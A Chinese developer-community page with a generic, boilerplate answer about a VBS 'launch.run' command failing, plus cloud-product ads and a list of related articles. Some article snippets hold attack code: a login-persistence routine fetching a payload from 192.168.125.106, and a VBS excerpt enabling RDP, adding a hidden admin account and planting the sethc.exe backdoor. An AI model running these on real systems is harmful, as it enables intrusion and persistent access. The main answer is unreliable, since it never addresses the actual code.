开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

VBS命令"launch.run“不再执行

VBS命令"launch.run"不再执行，可能有以下几种原因和解决方法：

语法错误：首先，需要确认VBS命令中"launch.run"的书写是否正确，包括大小写、空格、拼写等。在VBS命令中，每个关键字和参数都需要正确书写和使用。
缺少必要的文件或路径错误：VBS命令中的"launch.run"可能需要引用其他文件或指定正确的路径。请确保所需文件存在，并且路径设置正确。
权限问题：执行VBS命令可能需要特定的权限，如管理员权限。尝试以管理员身份运行命令，或者检查当前用户是否具有执行该命令所需的适当权限。
相关软件或组件未安装或损坏：某些VBS命令可能依赖于特定的软件或组件。确保所需的软件和组件已正确安装，并检查其版本是否与VBS命令兼容。

如果以上解决方法都无效，可以尝试以下措施：

检查VBS命令的文档和官方参考资料，了解该命令的详细用法和限制。
在各种技术论坛和社区中搜索相关问题，并查看其他用户是否遇到类似的问题，并找到解决方案。
联系VBS命令相关的技术支持团队或开发者社区，向他们寻求帮助和支持。

腾讯云相关产品和产品介绍链接地址：

云服务器（CVM）：腾讯云提供的灵活可扩展的云服务器，适用于各类应用场景。了解更多请访问：https://cloud.tencent.com/product/cvm
云存储（COS）：腾讯云提供的安全可靠的对象存储服务，适用于海量数据存储和分发。了解更多请访问：https://cloud.tencent.com/product/cos
人工智能（AI）：腾讯云提供的多种人工智能服务和平台，包括图像识别、语音识别、自然语言处理等。了解更多请访问：https://cloud.tencent.com/product/ai
物联网（IoT）：腾讯云提供的全面的物联网解决方案，包括设备连接、数据管理、应用开发等。了解更多请访问：https://cloud.tencent.com/product/iot
区块链（Blockchain）：腾讯云提供的可扩展和安全的区块链服务，用于构建和管理区块链网络。了解更多请访问：https://cloud.tencent.com/product/baas
元宇宙（Metaverse）：腾讯云正在积极推动元宇宙领域的发展，了解更多请关注腾讯云的最新动态和产品发布。

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

Linux｜WSL打造Windows下更顺畅的双系统之终篇

所以我就定义了一个关键字 wsl 的自动回复，不过还是将二更的文章发给了朋友，又说了下设置开机自启动在一更的文章里。

01

Windows设置开机启动挂载cfs，设置计划任务同步文件到cfs

把如下代码（具体化密码）另存为autologon.reg双击导入并重启机器即可实现自动登录（重启后打开vnc，发现已经自动登录到桌面）

03

记一次渗透实战

趁nmap还在工作的时候，简单浏览了下网站的功能，伪静态，整个网站也没有什么动态功能

04

多语言混编脚本

通常一个脚本都是使用某一种语言编写，使用固定的解释器执行。例如以下这段vbs脚本：

02

【性能工具】LoadRunner多场景顺序执行

假设有多个不同的测试场景，多个场景有先后执行顺序。或者都需要测试,但白天时间有限, 通过晚上批量执行,可以有两种方式实现。

05

WMIHACKER:免杀横向移动命令执行测试工具

免杀横向渗透远程命令执行，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)

01

VBScript详解(一)

Vbs是一种Windows脚本，它的全称是:Microsoft Visual BasicScript Editon.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。

02

对于内网带宽大于3Gbps的机器，使用iperf3压测时，可以多开几个进程，否则可能压不到上限

云服务器大内网带宽的机型不少，对于内网带宽大于3Gbps的机器，使用iperf3压测时，可以多开几个进程，否则可能压不到上限。可以用iperf2或用微软的ctsTraffic。

04

经典vbs代码收集「建议收藏」

发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/144726.html原文链接：https://javaforall.cn

03

记一次利用阿D注入渗透实战案例

在这个网站共找到了3处SA权限的搜索型注入，随便在一个搜索框中输入'单引号后即会爆出语法错误。

01

关于腾讯云windows更新

没有公网的机器，内网 windows update参考https://cloud.tencent.com/document/product/213/2758

05

windows无exe

利用Windows自带的解析器：PowerShell、VBScript、批处理文件和JavaScript，对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本，直接调用解析器运行（可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆）用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等，常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等，脚本类型的有：winrm.vbs、wmiexec.vbs、pubprn.vbs等

02

后门权限维持学习笔记1

Meterpreter的脚本persistence.rb，他将创建一个meterprer服务，即使远程主机再次启动，该脚本依然可以让主机重新连接远程的攻击端口，由于meterpreter不需要身份验证，这也导致任何发现端口的黑客也可利用此渠道进入后门，在真实情况下，建议完成任务后尽快自行清理。

01

分享一个维权手法

#> #使用Unicorn生成已编码的powershell命令。修改注册表,当用户登录时执行payload function Add-Persistence() { #payload的路径 $payloadurl = "http://192.168.125.106:8000/ghu98hjbs7jhj2" #保存维权马的路径 $tmpdir = $env:APPDATA; #vbs路径 $payloadvbsloaderpath = "$tmpdir\_log.vbs" #下载payloa

04

使用Empire“探索”Windows个人电脑

Empire是针对windows平台的一套渗透工具，包括了从stager生成、提权到渗透维持的一系列功能。笔者早先在试用Empire的过程中发现其不适用于UTF-8编码，所以在执行命令时包含中文就会卡死。近期Empire的作者解决了以上bug，所以让我们愉快地使用Empire探索一番。对于Empire的全部功能可以参考官方网站：http://www.powershellempire.com/ 1、安装虽然渗透的目标是windows，但Empire本身应该是运行在linux平台的，首先把程序目录下载下来

05

vbs远程木马_vbs 访问webservice

大家好，又见面了，我是你们的朋友全栈君。 xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集 2010年12月07日　　xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本　　vbson error resume next 　　const HKEY_LOCAL_MACHINE = &H80000002 　　strComputer = “.” 　　Set StdOut = WScript.StdOut 　　Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\” &_ 　　strComputer & “\root\default:StdRegProv”) 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” 　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” 　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server” 　　strValueName = “fDenyTSConnections” 　　dwValue = 0 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp” 　　strValueName = “PortNumber” 　　dwValue = 3389 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” 　　strValueName = “PortNumber” 　　dwValue = 3389 　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 　　on error resume next 　　dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=”HackEr”:password=”393214425″:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&”/Administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo of.ADsPath 　　On Error Resume Next 　　Dim obj, success 　　Set obj = CreateObject(“WScript.Shell”) 　　success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cm

01

Win下终端实现文件上传和下载执行

注意：本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

01

Win下终端实现文件上传和下载执行

注意：本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

01

Vbs脚本编程简明教程

◎Vbs脚本编程简明教程之一 —为什么要使用Vbs？

05

Windows设置开机后台运行cmd

用途:针对frp.ngrok要在cmd下后台运行才行，每次打开是不是很麻烦？编写脚本开机自启动方便吧~~

03

msfconsole学习

指令：show options – 查看需要填写的参数和参数填写状态

02

laravel Task Scheduling(任务调度)在windows下的使用详解

laravel的任务调度是很好用的，因为Laravel提供了平滑而又富有表现力地调度器，并且服务器上只需要一个Cron条目即可，这使我们从编写手动写crontab中解放出来，使得程序重新获得定时任务的控制权。

02

T1028: WinRM for Lateral Movement

WinRM（Windows Remote Management是WS-Management Protocol Microsoft 实现（具体体现为Win RM 服务)。

03

利用Winrm.vbs绕过白名单限制执行任意代码

winrm.vbs（一个位于system32目录下的具有Windows签名的脚本文件）可以被用来调用用户定义的XSL文件，从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供'-format:pretty'或者'-format:text'参数时，winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下，并将恶意的XSL文件也置于相同路径中，攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。

04

情人节你该怎样做到“持久”

在msf生成的shell中，无论是是android还是windows在关闭软件或者设备重启后，我们的会话进程都会自然而然的关闭。要想得到会话，必须用户再次启动我们的shell才能得到会话。那么，我们该如何解决这一问题呢？

01

Windows文件下载执行的15种姿势

当我们通过Web渗透获取了一个Shell，而且目标主机是Windows，我们该怎么去下载后门文件到目标主机上执行呢？

01

msfconsole在渗透测试中的一些总结（高级篇）

当我们成功获取shell后，再次建立链接显得特别麻烦，那么有什么方法可以解决此问题呢。在前期的教程中，我讲过讲msf的进程转移的其他软件的方法，今天来看看另外的一种方法。执行命令

01

内网提权中常用命令

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" OS Name: Microsoft Windows 10 Pro OS Version: 10.0.14393 N/A Build 14393 当然中文系统你得这样： systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 识别系统体系结构：

02

WMI利用(横向移动)

上一篇文章我们简单的解释了什么是WMI，WMI做什么，为什么使用WMI。本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章，希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。在横向移动中的固定过程中一定离不开“信息收集”，然后分析信息根据实际场景（工作组或者域）来进行横向移动，至于使用什么工具，为什么使用这个工具，笔者使用WMI的意见。所以本文分为三个段落，信息收集、横向移动、部分意见。信息收集。

01

快速自检电脑是否被黑客入侵过(Windows版)

有时候会感觉自己电脑行为有点奇怪, 比如总是打开莫名其妙的网站, 或者偶尔变卡(网络/CPU), 似乎自己"中毒"了, 但X60安全卫士或者X讯电脑管家扫描之后又说你电脑"非常安全”, 那么有可能你已经被黑客光顾过了. 这种时候也许要专业的取证人员出场, 但似乎又有点小提大作. 因此本文介绍一些低成本的自检方法, 对于个人用户可以快速判断自己是否已经被入侵过.

04

通过命令下载执行恶意代码的几种姿势

在渗透过程中，攻击者往往需要通过命令下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。

02

浅谈非PE的攻击技巧

背景近日，金山毒霸安全中心捕获到一例利用邮件传播的非PE样本，类型为lnk快捷方式文件，执行后会下载勒索病毒，最终会加密用户机器上的文档、图片、视频等重要文件。引言攻击者，通过社工（社会工程），

07

横向移动之WinRM横向移动

"Windows远程管理(WinRM)"是WS-Management协议(Web Services for Management，又名WSMan)的Microsoft实现，WS-Management Protocol是基于标准简单对象访问协议(SOAP)的对防火墙友好的协议。运行来自不同硬件和操作系统的硬件和操作供应商，以实现互操作（Microsoft Docs）。

01

创建UFT对象

Set qtApp = CreateObject(“QuickTest.Application”) ‘创建COM对象

03

Windows权限维持

在红蓝对抗实战中，当我们获取到一台Windows主机的权限后，首先要做的就是怎么维持住该权限。因为防守方的实力也在不断增强，并且他们的流量监测设备也在不断监控，如果发现机器被植入木马，他们肯定会采取措施。

02

基于bat脚本的前端发布流程设计与实现

本文大致向读者介绍了楼下几点知识，希望在编写bat脚本时候能够帮到读者，如果能够有所启迪，那就更好了。

04

渗透技巧——从github下载文件的多种方法

已知exe文件：https://github.com/3gstudent/test/raw/master/putty.exe

02

MS17-010永恒之蓝绕过数字上线

@格林师傅在实战中遇到的一个场景：已代理进内网，通过扫描发现内网某台主机存在有MS17-010，但是因为这台机器上存在360而无法直接利用，不过可以通过ms17_010_command模块执行命令，现在我们需要考虑的是如何绕过360将免杀木马落地到目标磁盘、或者远程加载执行上线。

01

收集整理的23种文件下载的方式

在我们的渗透过程中，通常会需要向目标主机传送一些文件，来达到提权，维持控制等目的。

03

MySQL数据库安全测试

Mysql默认端口是3306端口，但也有自定义端口，针对默认端口扫描主要利用扫描软件进行探测，推荐使用：

02

Windows下开机自启动jar包

将test.vbs移动到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp目录下;

03

WinRM的横向移动详解

横向的手法从简单的远程桌面协议（rdp）到漏洞利用，手法不断在改变，要对抗的设备产品也不断地变化，有个技术主管问我，红蓝的快乐在于什么？为什么我钟情在红蓝。我想中快乐就是来自于对抗吧。

01

Windows上传并执行恶意代码的N种姿势

简介在各种钓鱼、挖矿、勒索、组建僵尸网络、基础渗透、后渗透过程当中，攻击者都会通过一些方法去下载执行恶意代码并执行完成攻击操作，比如前段时间通过Office DDE执行powershell的，利用宏执行VBS的，绕过权限限制完成危险命令执行的等等，都需要用到文件下载/上传姿势，一般说按照途径可以分为：通过HTTP、FTP URL进行传输类通过UNC进行传输类通过磁盘写入类而payload执行则具体可以分为有文件类和无文件类，具体分的话就是内存执行、本地缓存、磁盘文件通过HTTP下载

03

渗透技巧 | Windows上传并执行恶意代码的N种姿势

📷 简介在各种钓鱼、挖矿、勒索、组建僵尸网络、基础渗透、后渗透过程当中，攻击者都会通过一些方法去下载执行恶意代码并执行完成攻击操作，比如前段时间通过Office DDE执行powershell的，利用宏执行VBS的，绕过权限限制完成危险命令执行的等等，都需要用到文件下载/上传姿势，一般说按照途径可以分为：通过HTTP、FTP URL进行传输类通过UNC进行传输类通过磁盘写入类而payload执行则具体可以分为有文件类和无文件类，具体分的话就是内存执行、本地缓存、磁盘文件下面我们

05

如何在Windows中后台运行命令行程序

最近学会了使用KCP加速shadowsocks。但是在windows下每次开机都会出现一个命令提示符窗口，非常影响美观。在一番搜索之下，我找到了如何在后台运行cmd程序的方法，那就是利用vbs脚本。

01

windows 运行jar包生成日志_jar包双击运行

然后修改文件的扩展名为 .bat 或 .cmd 两者在windows都是可以运行的

04

通过Regsvr32的ole绕过Getshell小技巧

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

01

通过winrm、自动化助手tat无法达到在系统内部执行命令的效果时，可以尝试这种办法

通过winrm、自动化助手tat无法达到在系统内部执行命令的效果时，可以尝试这种办法：

01

谷歌浏览器chrome调用cmd命令或exe命令

1、客户端添加注册表 // 新建txt，后缀改为reg（注册表文件），复制时把注释去掉 // 关键在最后一行：@=“你想要的cmd命令” // 可修改协议名称，该协议为 "openupload" ,修改时全局替换即可 // start --------------------------------------- Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\openupload] @="URL:openupload Protocol"

01

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭